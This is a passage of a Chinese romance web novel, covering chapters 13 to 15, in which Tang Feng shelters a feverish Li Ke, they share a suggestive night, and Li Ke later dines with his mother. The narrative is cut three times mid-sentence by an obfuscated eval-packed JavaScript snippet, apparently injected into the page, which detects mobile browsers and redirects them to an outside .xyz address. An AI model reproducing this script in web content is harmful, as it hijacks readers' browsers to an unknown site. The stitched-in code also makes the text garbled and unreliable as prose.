还是沉默。 虽然这个世界上有个词叫作“说多错多”,但唐枫也有个词,叫作“人不能被话憋死”。 “Maple还好吗?”唐枫说。 “不怎么好。” “橙子说医生让在家休养了,不是就代表情况已经稳定了吗?” “不是。” 唐枫:“……” 这家伙从小到大说话的字数按黄金卖的毛病什么时候能改!多说几个字会死吗! “你是不是已经认出我了。”唐枫说。 头顶的伞偏了一下。 李恪:“刚才认出的。” “认出……什么?”唐枫歪着脑袋朝他看了一眼。 “虽然光线不好,但你的样子和车展那天见到的一模一样。”李恪的声音平静,“我猜到是你,但没想到真的是你。” 唐枫抱着胳膊进入思索模式,李恪风衣里穿的是家居服,看起来的确是临时起意出来接人的样子。 如果他早就知道她是唐娇娇的话,那至少会提前穿件适合见人的衣服吧。 难道真的是巧合?她误会他了吗。 “台阶。”李恪提醒。 唐枫思绪收回,她抬了抬眼,注意到李恪的半个身体都被淋在了雨里。 “你伞打得太偏了。”唐枫提醒他。 李恪“嗯”了声,但并没有把伞移向自己。他的伞不大不小,一个人撑刚刚好,两个人就要紧紧靠在一起才能避免被雨洗礼。 可他们现在显然不可能偎在一起,要么两个一起被淋,要么牺牲其中一个。 而李恪的伞又不止是这样,他偏向她太多了,她的左侧甚至还有两拳那么宽的空余都在伞下,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“食物中毒……”唐枫心疼地呼噜着Maple的耳朵,“对不起,我以为旗舰店都靠谱的,没想到他们会卖不合格的产品,你放心,等你好了我肯定告死他们!磨牙棒还在吗?” 李恪一开始没意识到唐枫是在和他说话,还在盯着她的侧脸,看她和Maple说话的样子。 “——嗯?” 唐枫告诉他:“我要收集证据,去拿磨牙棒做化验,让宠物食品公司赔钱啊。” 李恪:“……扔了。” “扔了?”唐枫嚯地站起来,“怎么能扔呢,没有证据我怎么去告他们。” “把有毒的东西留在家,让Maple二次中毒吗?”李恪理直气壮地反问。 好像……是这个道理。 “Maple没什么大问题,如果真出了什么事,我会比你先去要说法。” 说的也是,现在李恪才是Maple唯一的主人,既然他都不追究,她没有任何资格替它讨公道。 唐枫的手在Maple脑袋上揉了一会儿,然后慢慢起身,“既然Maple没什么事我就先走了,如果需要我赔付医药费,麻烦把账单发我一下。我可能需要分期付,但放心我不会赖账的。” 她转身准备离开,又心有不舍地看了Maple一眼。 七岁的胖丫头了,也难怪她当初没认出来,和它半岁时浑身湿漉漉地躺在她学校墙外的犄角处,又被她抱回家时的样子简直天差地别。 李恪把它养得很好,幸好她没有把它带走,不然不知道要跟着她一起吃多少苦。 抬脚只走了半步,她又被身侧的人叫住了。 “我只说不追究食品公司的责任,没说不追究你的。” 唐枫:“…………” “你想干嘛?”唐枫无语转身正对着李恪。 李恪:“给我遛狗,一个月。” 唐枫:“……你这招太土了。” “或者赔一万块钱。”李恪说。 “行,我明天找人借了给你转过来。” 李恪:“……”要少了。 “Maple从来没有生过病,它在你这第一次受伤,你要负责任。”李恪的语气不见威胁,也没有商量的余地,四平八稳地像是给了她一记日常通告。 “而且,它很喜欢你。” 唐枫心底的防线濒临崩溃,她强硬地让自己找回理智,看了眼李恪,说:“让我考虑一下。” 转过身,唐枫再次告别李恪,她现在心太乱了,不适合做任何决定,她需要一个单独的时间和空间,去好好考虑一下,接下来该怎么面对李恪和Maple。 “橙子知道我的微信,如果你需要的话,可以找他要。”她唯一庆幸的就是当初离开后重新换了所有的联系方式,包括电话和微信。 身后没有传来李恪的声音,唐枫转了转头,看到他已经不知何时躺进了沙发里,眉心轻蹙着,似乎很累的样子。 “那你先休息吧,我走——” “外面雨下大了。”李恪说。 “我知道。”唐枫说,“借一下你的伞,会还你的。” 李恪:“没有公交了。” 唐枫:“我还能拿得出打车的钱。” “已经很晚了。”李恪说。 唐枫心说,您还知道啊!大半夜喊一个女孩来你一个单身男人家里,如果你不是李恪的话,我会直接报警的好吗! 唐枫收敛了下情绪,说:“没关系。” “今晚在我家睡吧。” 13. 发烧 “今晚在我家睡吧。” 李恪卧在沙发里,稍偏着头眼睛似闭非闭看着她。 唐枫按捺住去卫生间拿马桶橛子的冲动,咬牙撂下句“多谢,但不用了!”,然后一溜烟跑了。 匆忙的脚步声离开,留下客厅大眼瞪小眼的李恪和Maple一人一狗,Maple还不敢爬起来,只掀起个单侧眼皮等李恪指令。 它还需要继续装死吗?妈还能不能有…… 唐枫从大楼出来的时候,雨已经下得瓢泼之势,她撑着小黑伞走进雨中,风很快卷着暴雨钻进伞下冲到了她的身上,棕色的棉服霎时间被淋成暗色。 刚走出没几米,口袋里的手机忽然响起,唐枫拿起手机一看,将近凌晨12点,一个陌生号码,她心中却几乎有了确定的答案,犹豫不到半秒接了起来。 “回来。”电话另一端李恪的声音传过来。 冬天的暴雨堪比冰雹,唐枫感觉自己的手被冷雨一片片割着,她用力攥了攥伞柄,说:“你不觉得你的要求,很无礼吗?” “不觉得。”李恪说。 唐枫顶着风继续往门外走,伞几乎无用,来时被李恪挡下的雨现在悉数落回她身上。 “那我换个说法,李恪你是流氓吗?有你这么对单身女性说话的吗?今晚在你家睡?你怎么不干脆说今晚陪你睡。” 李恪声音停了下,“你是这么打算的吗?” 唐枫:“……” “总之我不回去!今天我就是打不到车,淋一晚上雨走回去,我也不——” 手里在风雨中飘摇的伞被握紧,唐枫的声音戛然而止,她看着猝然钻进自己伞下,还穿着薄薄家居服的男人。 “——会陪你睡。”唐枫声音式微。 李恪和她的距离很近,胳膊和手紧贴着彼此,大雨将他们隔绝在一片单独的区域内,在这狭小的空间里,他们共享着彼此的温度和呼吸。 “你……怎么这么烫。”唐枫抬起手背贴到李恪的手上又确认了下,“不会真感冒了吧!” “回去吗?”李恪只是问这句话。 唐枫:“……李恪,你干嘛要这样。” 她已经很努力克制自己的情绪,尽量让自己看起来平常心一些。作为唐娇娇,她不该有太多的情绪,他们只是有几面之缘的路人,是随时可以断了联系的陌生人。 可她是唐枫。 “先回去。”李恪说,“还是你想送我去医院,或者明天看到我高烧死了的新闻。” 她咬了咬唇,“你是在以自己的身体威胁我吗?” “是。”李恪说。 唐枫:“……” 五分钟后,他们再次返回李恪的家,两人身上各自带着足量的雨水,滴拉拉从玄关一直湿到客厅,然后李恪把自己砸在了沙发里。 “——诶你身上是湿的!”唐枫下意识阻止,然后又停下来。 随便吧,反正是他自己的沙发。 李恪侧躺进沙发里,眼皮半耷看着唐枫,“茶几旁边袋子里的衣服是给你的。” ? “你果然是有预谋的!”唐枫正在沥头发上的水,听到这话忽然暴起,“竟然还给我准备了睡衣!不会发烧也是假装的吧。” 快跑过去蹲在沙发前,手掌附在李恪脑袋上,滚烫的温度将她手心烫得有些发痒。 “真发烧了?”唐枫又摸了摸自己的额头,温度差得太多,装不来的。 李恪喘着带着热气的呼吸,看着眼前妆容花掉一半的人,想抬唇笑笑,又没什么力气,他动了动嘴:“去看看再说。” 唐枫带着余怒和几分好奇,走过去俯身从纸袋子里将衣服拿出。 竟然,是一件羽绒服。 “我的?”唐枫问。 “那天弄坏了你的。”李恪声音不高。 “不是你弄坏的。”唐枫不打算在这种事情上碰瓷。 “已经买了。”李恪说,“吊牌拆了。” 他没给唐枫继续打商量的机会,说完直接闭上了眼。 和李恪没有道理可言,用李希的话来说,能克李恪的只有唐枫,而能克唐枫的也只有李恪。 他们各有各的锋芒,互为对方的正负极,吸引到极限的时候,就开始互斥。 羽绒服在手中的手感极柔软,似乎是从里层发出的热气,唐枫握了几秒感觉手心湿润——当然其实是雨水。 好吧,反正李恪到现在为止单方面欠了她1122块,这还是保守估计,要他一件羽绒服不算贪心。 她把已经全湿的棉服外套脱下,试了下羽绒服,毫无意外地合身。 唐枫转过头去看李恪,对方抱臂躺在沙发里睡得安详,她走过去拿脚踢了他的小腿一下,李恪懵懵睁开眼,唐枫说:“我先去冲个澡,你自己找药吃,我等雨小点就走了。” 按理说作为唐娇娇,第一次去李恪家就洗澡是很不合逻辑的,可作为唐枫,她的感冒成本太高,她没有哪怕一天的带薪病假,对她来说每一天都是可以换算成钱的。 李恪抬了抬眼皮,“换的衣服从衣柜二层拿。” 他的话太过自然,让唐枫有一刻也不禁按照他的话去思考,在伦敦时他们合住在一个二居室,偶尔洗完衣服会放错对方的衣柜。 当然大部分时候是唐枫放错,李恪的衣服少,他哂唐枫呆瓜,然后干脆把自己的衣服集中放在一层,说另一层给唐枫用来“放错”…… “我不用换衣服。”唐枫说。 ……唐枫在热气蒸腾的浴室里快速冲了个澡,她只需要确保自己不会因为淋湿和受凉感冒就行,洗完再穿上的衣服干净与否不在她考虑的第一顺位。 但裹着浴巾出来,想到一会儿还要穿上那套半湿的衣服,唐枫就觉得头已经开始疼了。 单手扯着胸前的浴巾,唐枫侧着身挤出浴室门,向洗手台上摸索自己放在上面的旧衣服时,却感觉手感不太对劲。 探身一看,洗手台上放着的旧衣服已经不知道什么时候被换成了一套折叠好的新T恤长裤。 李恪,干嘛这样…… 唐枫原地迟滞了几秒,拿起衣服回到浴室套了上去。 是李恪的尺寸,套在她身上明显偏大,灰色的长T袖口覆盖她的半只手掌,下摆又延伸到屁、股下,裤子更是需要卷起两次才能勉强合身。 但穿起来很舒服,是干燥的,柔软的。 从浴室里走出,外面的人竟然还躺在原来的位置上一动不动。 唐枫:“……” 走到窗前,唐枫看到外面的雨已经小得差不多了,本来想转身离开,走到门口还是折身回到了客厅。 她从卧室扯出一条毛毯,走到沙发前给李恪盖了上去,双眸紧闭的人眉间轻拧了下,唐枫蹲在他面前,盯着熟睡的男人看。 在她看的霸总小说里,这时女主应该用她的手指轻轻描摹过男主的五官,然后依依不舍地在他的唇边留下一个轻吻,在她准备离开的时候,男主会忽然睁开眼睛,用低哑的声音喊她的名字,然后揽过她的脖颈肆无忌惮地吻下去,再然后就是一些圈圈叉叉的拉灯情节…… 唐枫被自己的脑补逗笑了一下,她慢慢起身,站在半米远的距离里看着沙发上的李恪。 她在离开李恪的两千多天里,从来不敢直面想念李恪这件事。 唐枫的人生箴言一向是定了目标就一定要实现,但无法实现的就一定不能作为目标。 想念的终点如果不是相见,那就干脆从一开始就别有这个念头。 可以远远看着,作为一个老朋友,一个旧邻,一个曾经认识过的人。 不可以作为爱人。 眼下近在咫尺的人让贪念加剧,唐枫咬唇屏了屏呼吸,最后看了李恪一眼,然后转身。 “唐唐。” 身后的人忽然发出声音,唐枫脚步顿了一下,回过身来,李恪眼睛却依旧是闭着的。 “你叫我……什么?” 她不敢确定这声“唐唐”说的是唐枫还是唐娇娇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007166|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来像是一句无意识的梦话,在这种语境下,是谁都有可能。 犹豫片刻,唐枫再次俯身蹲了下去,她贴在李恪脑袋一侧,拖着女鬼似的长腔发问:“你叫~的~是~谁~啊~~” 李恪没有回答,看来这番梦话没有对话的功能,唐枫顿觉无趣,扶着沙发边缘准备起身,手却被一下子握住了。 “!——”刚要惊讶出声,唐枫被手上比不久前更烫的温度吓了一跳,“怎么越来越烫了!你没吃药吗?——你家里是不是没有备药?我天我竟然忘记你从来不买这些东西了。” 烧了多久了这是,她如果一直没管不会把人烧傻吧。 唐枫拿出手机准备叫个退烧药外卖,刚点开药店界面,手机就被打掉滚到地毯上了。 唐枫:“……” “不想活了是吧?”唐枫无语道,她弯身去捡地毯上的手机,“你还说呢,我才是不想被警察传唤好吧!我时间很宝贵的。” 手腕被滚烫的手掌困住,李恪轻慢地眨了下眼,维持着半遮着瞳仁的状态,眼中像是带着含混的湿气。 “又梦见你了。” 唐枫:“……” 又?梦见过她很多次吗? 还未来得及思考,握在手腕的手伸向了她的腰后,而后骤然收紧,她猝不及防地被一股力道拉扯着朝沙发跌过去。 “啊”的声音还没叫出口,唐枫已经俯趴在男人上方,一手精准地按在了男人的匈几上。 手心感知敏感,唐枫脸倏地红了一下,“……不是我故意的啊,是你自己——” 话再次被她吞咽下去,唐枫僵硬地低头,李恪的手—— ——等等等等等!你做的这些个梦,它正经吗? 没给她控诉的机会,带着热浪的强势的吻捻、磨着落了下来。 唐枫感觉到自己的后颈带动着整个后背变得酥酥麻麻,身体开始不争气地被他传染了高烧。 “借着……发烧……耍流……氓啊!” 她的话被断断续续地吞咽在热气中,他的吻太有侵略性,唐枫试图撑着他的胸口拉开一些距离,却被更强劲的力量拉了回去。 明明刚才连笑都没怎么有力气的人怎么此刻却像是吃了菠菜一样的有力,果然发忄青就是最好的特效药。 他似乎意识到她在反抗,于是开始小力地扌柔扌差,似在安抚。 “……你这样我……不舒……服。” 唐枫不敢相信这种声音是她自己发出来的。 以前偷偷趴被窝里探索过一些大人影片,她那时以为那些嘤嘤|咛咛的声音是女生为了节目效果演出来的,可现实的反应大于一切。 她堕、落了,不,她跃升了。 一个新的世界。 “你让我停下来吗?”他的指腹在她唇边摩扌察了一下,声音中带着低低的笑意。 大脑昏昏沉沉,唐枫感觉她一定是被李恪传染了,身体越来越烫。 “我不知道……我感觉好奇怪,李恪……” “嗯,就是这样。”李恪说,“叫我的名字。” 湿热的吻绕过她的耳垂,攀向脖颈,向下一直到锁骨……他抱着她的后腰将她翻到身、下,继续向下吻着。 意识到什么,唐枫的手拦在了他的肩膀上,用着残存的理智阻止他亲吻的下一处。 ……有没有出息啊李恪,做舂梦也要服务别人吗? 他半跪在她身侧,表情却依旧是冷的,睁着高高在上的眼睛渴望着她,眼神和姿态的反差与杂糅搅得唐枫心猿意马,呼吸不畅。 她小力摇头:“不行。” 这时的李恪却是十分乖顺,顺从地移开,然后俯身贴向她,手掌顺着她的小臂慢慢攀上她的手掌,同她十指紧握。 呼吸紊乱着,他带着她十指相握的手,嘶哑的声音贴在她的耳边:“唐唐。” 唐枫猛地清醒了过来。 她在做什么…… 她竟然在以唐娇娇的身份和李恪互相指教? 14. 医药费 头疼。 身体像被绳索禁锢过的酸痛,李恪睁开眼睛的时候有一瞬间感觉大脑被吸到了另一个空间,撑着胳膊稍微动一下,又是天旋地转。 手指捏着眉心揉了揉,李恪听到外面传来一阵响动,他忍着晕眩从卧室走出,看到客厅的人正牵了Maple从外面回来。 “你醒了啊,李恪哥。”橙子收好牵引绳,“那我现在给你热一下粥,你吃完把退烧药吃了。” Maple主动扑过来嗅闻他身上的味道,昨晚被关到客房一夜,Maple难得没有发脾气,反倒亲昵地对着他的手蹭来蹭去。 “我自己热吧,谢了。”李恪说,他摸着Maple的头,声音平波无澜,“昨晚我是怎么回到卧室的。” 橙子“啊?”了一下,“你断片了?” 李恪:“不太记得了。” 橙子迟疑地点了下头,“是你自己过去的。今早我看到了唐小姐的短信,她让我过来给你买点药和粥,我来的时候你还躺在沙发上呢,毯子裹得像粽子似的,我叫了你一声,你睁开眼就从沙发上滚下去了,然后爬起来就自己走回卧室了——你竟然全都忘了吗?” 记忆碎片似的带着高斯模糊滤镜一点点在他大脑里回寰拼凑。 他记得他把唐枫喊了过来,两人一起淋了雨,唐枫去洗澡,他去给她拿了换洗衣服,然后头晕得实在受不了就躺在沙发上睡着了。 再然后呢? 温热舔舐的触感从他的指尖传来,Maple正咧着嘴汲取他手指上留下的味道,李恪把手抬了起来,中指和食指上落着湿润的印渍,他似是回味地捻磨了一下。 高热乱人心智,但情动的不止是他。 “……李恪哥,你昨晚和唐小姐,没发生什么吧?”橙子八卦地眼巴巴盯着他。 李恪收回视线,对橙子说:“你的假期可以从今天就开始了。” “可是我还有一些工作没处理完,还有Maple——” “没关系。”李恪说,“我会找人接手的。” Maple的大脚在木质地板上砰砰踩了两下,吐着舌头摇头晃脑,李恪扬唇戳了下它黢黑的鼻头。 窗外雨后初霁。 “好天气,再带你出去转一圈儿。”李恪说。 - 一夜无眠,唐枫两手交叉放在小腹上,和柜子上的模型大眼瞪小眼了一整晚。 一闭眼就是少儿不宜的画面,她甚至还有顺着未完剧情脑补的能力,眨一次眼李恪的脸贴近一次,手放肆一次,中间打了个小盹儿,李恪已经把她的腿掀了起来。 唐枫猛地从床上弹了起来。 不能这样下去了! 窗外已经大亮,不知名鸟雀啁啾不停,她把自己从床上扯了下来,目光呆滞地拍了拍自己的脸,决定化羞愤为动力,今天她要出门摆摊画100张头像! 说干就干,唐枫将短发往耳后一掖,用意志扯着眼皮,趿着拖鞋雄赳赳气昂昂打开房门—— “卧——爸,妈?你们怎么还在家?”唐枫出门就被在客厅沙发正襟危坐的唐述礼和叶茵吓了一跳。 二老神色肃穆,唐述礼两手放在膝盖上,眉头紧皱,叶茵则是搭着二郎腿一副凝神沉思状。 “几点了还没出车?”她问唐述礼,又看向叶茵,“你麻将搭子今天也歇班?” 两人的视线齐刷刷盯在唐枫身上,唐述礼开口:“等你呢。” 唐枫:“……” 完蛋了,绝对是昨晚回来的时候碰到垃圾桶被睡眠浅的叶茵听到了,说不定她半夜带着浓妆去卸妆时的都被叶茵全程围观了…… 唐枫:“你们听我解释——” 叶茵:“明天你外公八十大寿。” 唐枫:“诶?” 叶茵疑惑:“解释什么?” 唐枫吞咽了一下,眨巴眼装傻:“你们听我解……是不是一加一等于二啊?” 唐述礼嗤地一声破功笑出来:“这倒霉孩子还没睡醒吧?” “没睡醒现在也给我醒过来,”叶茵敲了敲面前的茶几,“全员到齐,本年度最后一次大会正式开始,讨论一下去不去外公寿辰的议题。” 唐枫慢慢回过神来,跟上了叶茵的思路,她首先就议题提出异议:“可我们不是和外公那边很多年不再来往了么?” 此话一出,唐述礼静悄悄往后挪了挪屁股,朝唐枫投去一个“你还真敢直说啊”的眼神,然后试图深藏自己以免被火力波及到。 唐枫外婆去世时叶茵才五岁大,外公叶正修独自抚养一儿一女长大,尤其溺爱叶茵。 谁曾想从小乖顺的掌上明珠某天忽然领回个一穷二白的黄毛,叶正修觉得自己女儿被下蛊了,当下就把唐述礼赶了出去,并且以断绝父女关系为威胁要求叶茵不准嫁。 叶茵叛逆反骨,一意孤行还是嫁给了唐述礼,叶正修赌气真就不再见叶茵。 后来唐述礼破产,叶茵下了很久的决心低下头来准备去求叶正修,却吃了闭门羹连面都没见到。 还被唐枫舅舅,也就是叶茵亲哥叶霖一家羞辱了一番,从此更是彻底切断了联系。 叶茵看过来,眉头一皱,“我还能真和我自己的亲爹一辈子不联系?” 唐枫悻悻,当年的事又不是她惹的,怪谁都怪不到她头上呀,凶她干嘛。 而且小时候外公很疼她的,每次过生日还会偷偷给她送礼物,让她瞒着叶茵和唐述礼,只是从他们家破产闹掰后,就真的没再见过了。 唐枫一寻思,“难道是外公身体出什么问题了吗?” 叶茵从桌底下掏出拖鞋就往唐枫身上扔,“咒你外公是吧?” 唐枫身体一歪躲过了突然袭击,撇撇嘴从茶几上拿了个砂糖橘剥皮,一整个塞进嘴里,含糊又小声地说:“那你一副如临大敌、痛定思痛的样子,还以为你要搞临终关怀那套呢。” 叶茵弯腰又要拿剩下的一只拖鞋扔唐枫,被唐述礼拦了下来,“诶诶诶两三句没说清又开始掐起来了,母女俩上辈子是冤家是吧?” 唐述礼放下鞋子,给老婆剥了个砂糖橘,朝唐枫解释道:“上周你妈不是接到你舅妈的邀请来参加外公的寿辰么,你舅妈什么人你又不是不知道,肯定是家里又发了笔什么财没人显摆想到我们了,你妈随便找了个借口说自己生病给拒了。” “然后呢?”唐枫嘴里塞了两个砂糖橘,嚼嚼嚼。 叶茵把话接过来,“结果昨天和你梦姨喝下午茶么碰到钟秋黎了,钟秋黎看着我简直是两眼放光,说什么既然身体好了肯定得去。”叶茵阴阳怪气学了段钟秋黎的语气动作。 钟秋黎就是唐枫舅妈,嫁过来叶家后就始终和叶茵不对付,叶茵出嫁前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015507|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还和钟秋黎打过一架,叶霖护了自己老婆,从那往后叶茵和亲哥叶霖也结了怨。 ——但以唐枫的了解,叶茵不是那种别人给挖了个坑,她提起裙子就往里跳的人,猜到还有后话,唐枫又剥了个砂糖橘。 叶茵慢条斯理吃了一小瓣砂糖橘,继续说:“钟秋黎怕我不答应,当场手机外放给你外公打了个电话,抢先一步替我报备了出席寿辰的事。” “外公么听声音老了十几岁一样,说,想来就来吧。”叶茵眼皮垂了垂,“那家人看起来也是不会照顾老人,老头子才80岁,怎么声音老成这么个样子。这么好的机会,我得抓住了去骂他们一顿。” 唐枫和唐述礼悄悄交换了个眼神,谁都没开口,但都知道了意思。 叶茵这是挂念老爷子了,又嘴上傲娇不肯说,得他俩给再递个台阶。 唐述礼嗓子一清,“说的就是,占着外公家的房子又不尽孝是该骂,而且咱们也没什么好躲着的,就算经济上没以前那么富裕,但咱凭自己本事挣钱不丢人。” 唐枫给唐述礼呱唧呱唧鼓掌:“说得好!有志气,这才是我老唐家的风貌!” 唐述礼又说:“我们不仅要去,而且要风风光光地去!” 唐枫停下了呱唧,“怎么风光?” 唐述礼仰起的脑袋顿时卡了一下。 但凡是场面都是要钱撑起来的,以前对他来说能用钱解决的问题都不叫问题,现在则是要用钱解决的问题都是问题。 见唐述礼不说话,唐枫又说:“我现在手头有三千多,给外公挑个差不多的礼物应该还可以。” 叶茵衡量了一下,点点头,“行,等回头让你爸把这钱给你报销。” 唐述礼却不同意了,“这种事怎么能让孩子出钱,你俩别管了,寿礼的事我来想办法。” 叶茵&唐枫:“你?” 老婆闺女异口同声的质疑惹得唐述礼老脸一红,“不信是吧?你俩就请好吧,看我明天让不让你们眼前一亮就完事了。” 唐枫并不相信。 前几天还款都要朝她张口的人,现在能拿出闲钱给外公置办礼物?而且唐述礼和叶茵都是好面子的人,两人也都不可能用什么便宜的东西拿出来糊弄外公。 不过唐枫不打算再打击唐述礼破碎的自尊心,默默拎着包出了门。 这几天丁园路又开始举办年末集市,按月出租摊位,一次□□一万二,唐枫交不起,只能抱着画板在其他街道流窜。 淮沈路和骥洋路人流量大,情况好的话她一天也能赚到和参加集市差不多的钱,现金实时到账,如果唐述礼明天拿不出什么交代,她也能给托个底。 计划很好,现实不然,唐枫最近大概是走背运,画架放下刚来了个问价的,城管就来了。 唐枫熟稔地把摊子一裹,朝对方喊道:“感兴趣的话农行侧门见,给你打八折!” 说完抱着包裹一溜烟跑了,跑路跑得慌张,还丢了管白色颜料,唐枫没来得及去捡,一路痛心疾首,告诉自己塞翁失马焉知非福,这里失去的钱会在另一处赚回来的…… “叮”一声传来微信提示音,唐枫从口袋里掏出手机。 [好友验证: No.:医药费。] 唐枫:“……” 老天,我不会再叫你爷,你根本就没把我当孙子! 15. 老板 百无聊赖的手戳在界面的卡通头像上,点一下,退出,点一下,打开…… 脚下被旁边的人踢了一下,偏过头去,李希轻觑了他一眼,“吃饭就好好吃饭,多大的人了还要人提醒。” 李恪把手机放下,拾起筷子给李希夹了一大块她最讨厌吃的糖醋肉,神色淡淡:“那您多吃点。” 李希:“……” 她捏了捏筷子准备口头教训下臭小子,被坐在对面的周聿亭打断了,“一家人好久没一起吃饭了,可以随意一些。李恪工作忙,手机处理一下业务也是难免。” 李希不给李恪面子,也没打算听周聿亭说和,她优雅拽了拽身上的羊绒披肩,音色温柔似水,说出的话却犀利: “他能忙到哪去,一群人围着服务他一个,又是经纪人又是助理的,上厕所恐怕都有人给递纸,难为他吃饭的时候没人喂,不然他就能腾出手来专门玩手机了。” 李恪自己吃了口糖醋肉,然后从桌上抽了张纸递给李希:“你嘴上有东西。” 李希一开始没反应过来,下意识接过来擦了擦嘴角,然后看着李恪低头嘴角一翘,才反应过来这臭小子是在膈应她。 给她气得脸色红白切换,如果不是场合不对,她就要拿汤勺敲李恪脑袋了。 周聿亭观赏了会儿母子俩明里暗里斗法,等李希眼神对着李恪一通乱骂,又不动声色地在桌下狠狠踢了他一脚,李恪龇牙倒吸了口气后,才又重新开口。 “上次在酒会上听说你明年要发专辑,准备得怎么样了?” 李恪:“还行。” “如果需要宣发或者投资,可以尽管和我开口,我和番果音乐的CEO算是旧交。” 周聿亭说着话,抬起手腕敲了敲自己面前的高脚杯,盯着李恪出了神的服务生反应过来慌忙走过去给他倒上了红酒。 李恪抬眼看了他一下,说:“不是什么大制作,用不到这些,谢谢周叔。” “不是大制作就更需要投资,”周聿亭摇晃着杯中的红酒,慢条斯理,“我虽然这两年才开始接触娱乐行业的投资,但应该比你更懂一些市场。现在的规则是没有人脉和金钱就没有流量,酒香也怕巷子深,市场已经不欢迎真正的新人入场了。” 李恪又摸起了手机,他食指点了下屏幕,解锁开就是微信验证界面,对方仍然没有通过。 他语调平常,像是浮皮潦草地应付了一句:“那就埋在巷子里吧。” 周聿亭还要讲点什么人生经验,李希拿起高脚杯给他碰了下,“他那些歌都是做着玩的,从小到大对什么都没认真过,真给他投资,Choo的股价得被他玩坏了。” 李恪把手机反扣在桌子上,又看了李希一眼,神情依旧没太大变化,不过他没和李希再怼,母子俩在半秒的对视里和对方无声默契地碰了个杯,又各自无事地收回了眼神。 一顿饭吃到后半段,周聿亭已经和李希聊完了年后第一季度的婚纱新品发布规划。 周聿亭是服装品牌Choo的创始人兼CEO,李希是Choo的婚纱线负责人兼设计师总监。 李恪的亲生父亲在他出生后没多久就去世了,五年前,李希和周聿亭再婚,两人是从上下级身份转换成为的夫妻,但在李恪看来,他们的关系仍然更像是老板和员工。 李恪和他们相处时间不多,但在这为数不多的时间里,他们有百分之八十的时间聊的都是工作。 也许是公事终于聊完,周聿亭才想起了被他们忽视已久的李恪,他勾勾手指喊来服务生给李恪添酒,李恪却自己把酒瓶接了过来,“谢谢,放这里吧。” 客气但疏离,冷淡但礼貌,服务生带着这个总结忍不住又多看了李恪一眼,而后欠了欠身,带着被好听声音晕麻的笑向后退到了包房一角。 “对了,你和那个钟嘉敏是真的在恋爱?”周聿亭随意一问的语气。 服务生耳朵也竖了起来,从一进包房看到李恪坐在这里她就想打听这个问题了。 最近的热搜快被钟嘉敏和李恪这两个名字包场了。 先是颁奖典礼李恪那神之白眼将两人的名字锁在了热搜榜第一,紧接着李恪工作室发了则明显公关的道歉声明,说了些李恪因为3天未睡满10小时而在颁奖礼上打瞌睡这种明显路人无法买单的理由。 但真正的高潮还在钟嘉敏随后转发工作室微博,又附上的聊天记录截图上。 截图里在被马赛克了群名和人数的微信群里,李恪发了两个字“抱歉”,而钟嘉敏则紧跟着回了一条“和我还用说这个吗?我又不是不知道你前几天累成什么样子[愉快][愉快]”。 ——这番对话直接导致两人的CP粉激增,热度冲到了CP榜前三。 CP粉大喊: “真情侣就是好磕!” “3天未睡满10小时……这一刻我有了新的理解。” “谁说这俩不对付了,这俩可太棒了!” ……李希颇有些幸灾乐地跟着应和了句:“我的儿子我了解,肯定是真的。” 李恪抬眼看她。 李希说:“李恪从小脾气轴,让他低头比让他磕头还难,给女孩子发了‘抱歉’,基本上就等同于‘我爱你’了。 李恪送了亲妈一记眼白,低头夹了筷子鱼肉放在嘴里慢嚼,淡淡道:“没有。” 周聿亭望向李恪点了点头,两手放在桌面十指交叉并起,“不错,娱乐圈鱼龙混杂,真要恋爱还是找个知根知底门当户对的比较好。” 李希笑了声,调侃完毕回归正经说:“这个不用担心他,李恪别的不说,找女朋友的眼光绝对不差。” “女朋友?”周聿亭从这话里听出几分言外之意,“你没和我说过,李恪之前谈过女朋友?” “好几年前的事了,是以前的邻居。”李希说,她看了眼李恪,“我昨天听人在福安路碰到了叶茵,说不定他们一家人现在也搬来邯市了,你没和小枫联系问问?” 李恪瞄了眼扣在桌上的手机,又夹了一只凤尾虾扔进嘴里,“嗯”了一声,“在问。” 李希顿时眉毛扬起来些,她拿不准李恪这句“在问”是真是假,当初唐枫单方面和李恪分手的事她是知道的,但具体详情再怎么问李恪都是闭口不谈。 从英国回来后,李恪也从来没在她面前提过唐枫,她几次试探去问,李恪最开始是干脆转身就走,后面直接当没听见,她以为两人的缘分就到这里了,没想到在今天会打听出后续。 她准备再向李恪问两句,周聿亭出了声:“你什么时候的邻居,松园壹号?” 松园壹号是忻市最著名的别墅区,房价平均二十万一平,只卖不租,能住在里面的都是非富即贵。 “是松园壹号。”说到这儿,李希感慨起来,“当年老唐要不是被合伙人坑了,投资失误导致负债,现在说不定我们已经成亲家了。” “姓唐?”周聿亭联合时间地点,想到了个名字,“你说的是唐述礼?” 当年的零售品牌大亨,在破产前的鼎盛时期,唐述礼的零售超市开了28家连锁店,正在发展势头时却因为电商的冲击加之合伙人的背叛一夕落幕,成为了时代转换下一个经典的失败案例。 平常人可能并不知道这个案例背后的名字,但周聿亭在各个领域结友甚多,尤其对商业八卦感兴趣,自然知悉。 李希也不惊讶周聿亭能猜到,点头:“老唐可惜了。” 